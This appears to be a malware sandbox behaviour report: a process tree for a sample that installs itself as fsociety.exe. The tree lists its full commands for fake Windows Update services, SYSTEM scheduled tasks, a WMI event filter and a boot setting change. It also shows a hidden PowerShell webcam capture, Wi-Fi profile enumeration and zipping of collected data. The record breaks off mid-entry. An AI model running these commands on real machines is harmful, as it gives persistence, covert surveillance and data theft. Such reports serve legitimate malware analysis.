PID 2008 wrote to memory of 3336	2008	cmd.exe	260
PID 60 wrote to memory of 3560	60	fsociety.exe	178
PID 1492 wrote to memory of 1360	1492	fsociety.exe	180
PID 3560 wrote to memory of 3956	3560	cmd.exe	182
PID 1360 wrote to memory of 4072	1360	cmd.exe	183

C:\Users\Admin\AppData\Local\Temp\386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
"C:\Users\Admin\AppData\Local\Temp\386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe"
1⤵
- Modifies WinLogon for persistence
- Event Triggered Execution: Image File Execution Options Injection
- Modifies WinLogon
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:540
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop WindowsUpdate >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4892
- - C:\Windows\system32\sc.exe
    sc stop WindowsUpdate
    3⤵
    PID:3800
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc delete WindowsUpdate >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4132
- - C:\Windows\system32\sc.exe
    sc delete WindowsUpdate
    3⤵
    PID:3456
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3304
- - C:\Windows\system32\sc.exe
    sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
    3⤵
    - Launches sc.exe
    PID:4768
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3980
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate start= boot
    3⤵
    - Launches sc.exe
    PID:4184
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3624
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate type= own
    3⤵
    PID:1676
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3420
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate obj= LocalSystem
    3⤵
    PID:4252
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2360
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate error= ignore
    3⤵
    - Launches sc.exe
    PID:3140
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3368
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
    3⤵
    PID:4424
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4720
- - C:\Windows\system32\sc.exe
    sc description WindowsUpdate "Provides Windows system updates"
    3⤵
    PID:1940
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc start WindowsUpdate >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5104
- - C:\Windows\system32\sc.exe
    sc start WindowsUpdate
    3⤵
    PID:3836
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop SystemUpdate >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4848
- - C:\Windows\system32\sc.exe
    sc stop SystemUpdate
    3⤵
    - Launches sc.exe
    PID:3256
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc delete SystemUpdate >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4688
- - C:\Windows\system32\sc.exe
    sc delete SystemUpdate
    3⤵
    PID:4420
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4496
- - C:\Windows\system32\sc.exe
    sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem
    3⤵
    PID:2784
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config SystemUpdate start= system >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2008
- - C:\Windows\system32\sc.exe
    sc config SystemUpdate start= system
    3⤵
    PID:3336
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config SystemUpdate obj= LocalSystem >nul 2>&1
  2⤵
  PID:3360
- - C:\Windows\system32\sc.exe
    sc config SystemUpdate obj= LocalSystem
    3⤵
    PID:3812
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc start SystemUpdate >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:3036
- - C:\Windows\system32\sc.exe
    sc start SystemUpdate
    3⤵
    PID:4264
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop WinUpdateSvc >nul 2>&1
  2⤵
  PID:1732
- - C:\Windows\system32\sc.exe
    sc stop WinUpdateSvc
    3⤵
    PID:216
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc delete WinUpdateSvc >nul 2>&1
  2⤵
  PID:4112
- - C:\Windows\system32\sc.exe
    sc delete WinUpdateSvc
    3⤵
    PID:1008
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem >nul 2>&1
  2⤵
  PID:736
- - C:\Windows\system32\sc.exe
    sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem
    3⤵
    PID:4140
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config WinUpdateSvc start= auto >nul 2>&1
  2⤵
  PID:1000
- - C:\Windows\system32\sc.exe
    sc config WinUpdateSvc start= auto
    3⤵
    PID:4404
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config WinUpdateSvc obj= LocalSystem >nul 2>&1
  2⤵
  PID:3840
- - C:\Windows\system32\sc.exe
    sc config WinUpdateSvc obj= LocalSystem
    3⤵
    PID:4128
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc start WinUpdateSvc >nul 2>&1
  2⤵
  PID:4392
- - C:\Windows\system32\sc.exe
    sc start WinUpdateSvc
    3⤵
    PID:4760
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:1676
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2876
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:4384
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1524
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4800
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3544
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:4492
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp ""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2444
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /run /tn "WindowsUpdate" >nul 2>&1
  2⤵
  PID:872
- - C:\Windows\system32\schtasks.exe
    schtasks /run /tn "WindowsUpdate"
    3⤵
    PID:3628
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup" >nul 2>&1
  2⤵
  PID:4044
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup"
    3⤵
    PID:1608
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c bcdedit /set {current} bootmenupolicy legacy >nul 2>&1
  2⤵
  PID:2460
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {current} bootmenupolicy legacy
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2624
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:1184
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:2576
  - - C:\Windows\system32\sc.exe
      sc stop WindowsUpdate
      4⤵
      PID:4668
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:4700
  - - C:\Windows\system32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:3068
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:780
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4584
  - - C:\Windows\system32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      Launches sc.exe
      PID:4940
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    PID:5280
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      PID:5624
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    PID:6036
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate type= own
      4⤵
      PID:3908
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:5604
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate obj= LocalSystem
      4⤵
      PID:5716
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
    3⤵
    PID:1228
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate error= ignore
      4⤵
      PID:5380
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
    3⤵
    PID:5364
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
      4⤵
      PID:5380
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
    3⤵
    PID:3988
  - - C:\Windows\system32\sc.exe
      sc description WindowsUpdate "Provides Windows system updates"
      4⤵
      PID:5248
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WindowsUpdate >nul 2>&1
    3⤵
    PID:5780
  - - C:\Windows\system32\sc.exe
      sc start WindowsUpdate
      4⤵
      PID:5572
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop SystemUpdate >nul 2>&1
    3⤵
    PID:5396
  - - C:\Windows\system32\sc.exe
      sc stop SystemUpdate
      4⤵
      PID:6016
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete SystemUpdate >nul 2>&1
    3⤵
    PID:5996
  - - C:\Windows\system32\sc.exe
      sc delete SystemUpdate
      4⤵
      Launches sc.exe
      PID:6120
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:3476
  - - C:\Windows\system32\sc.exe
      sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem
      4⤵
      Launches sc.exe
      PID:5480
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate start= system >nul 2>&1
    3⤵
    PID:2372
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2016
  - - C:\Windows\system32\sc.exe
      sc config SystemUpdate start= system
      4⤵
      PID:4704
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:5496
  - - C:\Windows\system32\sc.exe
      sc config SystemUpdate obj= LocalSystem
      4⤵
      Launches sc.exe
      PID:6168
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start SystemUpdate >nul 2>&1
    3⤵
    PID:6304
  - - C:\Windows\system32\sc.exe
      sc start SystemUpdate
      4⤵
      PID:6820
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WinUpdateSvc >nul 2>&1
    3⤵
    PID:7044
  - - C:\Windows\system32\sc.exe
      sc stop WinUpdateSvc
      4⤵
      PID:5568
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WinUpdateSvc >nul 2>&1
    3⤵
    PID:4352
  - - C:\Windows\system32\sc.exe
      sc delete WinUpdateSvc
      4⤵
      PID:6592
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem >nul 2>&1
    3⤵
    PID:6780
  - - C:\Windows\system32\sc.exe
      sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem
      4⤵
      PID:7048
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WinUpdateSvc start= auto >nul 2>&1
    3⤵
    PID:6412
  - - C:\Windows\system32\sc.exe
      sc config WinUpdateSvc start= auto
      4⤵
      PID:6624
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WinUpdateSvc obj= LocalSystem >nul 2>&1
    3⤵
    PID:7132
  - - C:\Windows\system32\sc.exe
      sc config WinUpdateSvc obj= LocalSystem
      4⤵
      Launches sc.exe
      PID:7048
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WinUpdateSvc >nul 2>&1
    3⤵
    PID:2960
  - - C:\Windows\system32\sc.exe
      sc start WinUpdateSvc
      4⤵
      Launches sc.exe
      PID:5452
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:6856
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3628
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:6824
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6592
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:8048
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6592
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:7352
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2536
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /run /tn "WindowsUpdate" >nul 2>&1
    3⤵
    PID:6516
  - - C:\Windows\system32\schtasks.exe
      schtasks /run /tn "WindowsUpdate"
      4⤵
      PID:5148
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup" >nul 2>&1
    3⤵
    PID:5784
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $camera = New-Object System.Drawing.Bitmap(640, 480); $graphics = [System.Drawing.Graphics]::FromImage($camera); try { $capture = New-Object System.Windows.Forms.Capture; $capture.Start(); Start-Sleep -Milliseconds 500; $frame = $capture.GetFrame(); $graphics.DrawImage($frame, 0, 0, 640, 480); $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240702562.png', [System.Drawing.Imaging.ImageFormat]::Png); $capture.Stop(); } catch { $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240702562.png', [System.Drawing.Imaging.ImageFormat]::Png); } $graphics.Dispose(); $camera.Dispose(); "
  2⤵
  PID:4992
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $camera = New-Object System.Drawing.Bitmap(640, 480); $graphics = [System.Drawing.Graphics]::FromImage($camera); try { $capture = New-Object System.Windows.Forms.Capture; $capture.Start(); Start-Sleep -Milliseconds 500; $frame = $capture.GetFrame(); $graphics.DrawImage($frame, 0, 0, 640, 480); $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240702562.png', [System.Drawing.Imaging.ImageFormat]::Png); $capture.Stop(); } catch { $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240702562.png', [System.Drawing.Imaging.ImageFormat]::Png); } $graphics.Dispose(); $camera.Dispose(); "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2628
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh wlan show profile
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:6140
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:4676
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c powershell -WindowStyle Hidden -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data_240702500\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data.zip' -Force"
  2⤵
  PID:5984
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data_240702500\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data.zip' -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4940

C:\Windows\system32\fsociety.exe
"C:\Windows\system32\fsociety.exe"
1⤵
- Modifies WinLogon for persistence
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Modifies WinLogon
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:1492
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc stop WindowsUpdate >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4136
- - C:\Windows\system32\sc.exe
    sc stop WindowsUpdate
    3⤵
    - Launches sc.exe
    PID:692
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc delete WindowsUpdate >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4148
- - C:\Windows\system32\sc.exe
    sc delete WindowsUpdate
    3⤵
    PID:2212
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3676
- - C:\Windows\system32\sc.exe
    sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
    3⤵
    PID:4064
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1404
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate start= boot
    3⤵
    PID:2680
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3804
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate type= own
    3⤵
    PID:4432
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3160
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate obj= LocalSystem
    3⤵
    PID:4036
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2896
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate error= ignore
    3⤵
    PID:4636
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4232
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
    3⤵
    PID:4520
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4600
- - C:\Windows\system32\sc.exe
    sc description WindowsUpdate "Provides Windows system updates"
    3⤵
    - Launches sc.exe
    PID:4884
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc start WindowsUpdate >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1360
- - C:\Windows\system32\sc.exe
    sc start WindowsUpdate
    3⤵
    PID:4072
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc stop SystemUpdate >nul 2>&1
  2⤵
  PID:4184
- - C:\Windows\system32\sc.exe
    sc stop SystemUpdate
    3⤵
    PID:2944
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc delete SystemUpdate >nul 2>&1
  2⤵
  PID:1840
- - C:\Windows\system32\sc.exe
    sc delete SystemUpdate
    3⤵
    PID:3316
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem >nul 2>&1
  2⤵
  PID:3848
- - C:\Windows\system32\sc.exe
    sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem
    3⤵
    PID:880
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config SystemUpdate start= system >nul 2>&1
  2⤵
  PID:4932
- - C:\Windows\system32\sc.exe
    sc config SystemUpdate start= system
    3⤵
    PID:4956
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config SystemUpdate obj= LocalSystem >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:1612
- - C:\Windows\system32\sc.exe
    sc config SystemUpdate obj= LocalSystem
    3⤵
    PID:4800
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc start SystemUpdate >nul 2>&1
  2⤵
  PID:3256
- - C:\Windows\system32\sc.exe
    sc start SystemUpdate
    3⤵
    PID:3932
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc stop WinUpdateSvc >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5020
- - C:\Windows\system32\sc.exe
    sc stop WinUpdateSvc
    3⤵
    PID:3988
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc delete WinUpdateSvc >nul 2>&1
  2⤵
  PID:3508
- - C:\Windows\system32\sc.exe
    sc delete WinUpdateSvc
    3⤵
    - Launches sc.exe
    PID:560
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem >nul 2>&1
  2⤵
  PID:2524
- - C:\Windows\system32\sc.exe
    sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem
    3⤵
    PID:1464
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WinUpdateSvc start= auto >nul 2>&1
  2⤵
  PID:4304
- - C:\Windows\system32\sc.exe
    sc config WinUpdateSvc start= auto
    3⤵
    - Launches sc.exe
    PID:5032
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WinUpdateSvc obj= LocalSystem >nul 2>&1
  2⤵
  PID:4952
- - C:\Windows\system32\sc.exe
    sc config WinUpdateSvc obj= LocalSystem
    3⤵
    PID:2548
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc start WinUpdateSvc >nul 2>&1
  2⤵
  PID:3832
- - C:\Windows\system32\sc.exe
    sc start WinUpdateSvc
    3⤵
    PID:1608
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:3380
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1412
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:4852
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3200
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:3960
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3000
- C:\Windows\system32\cmd.exe
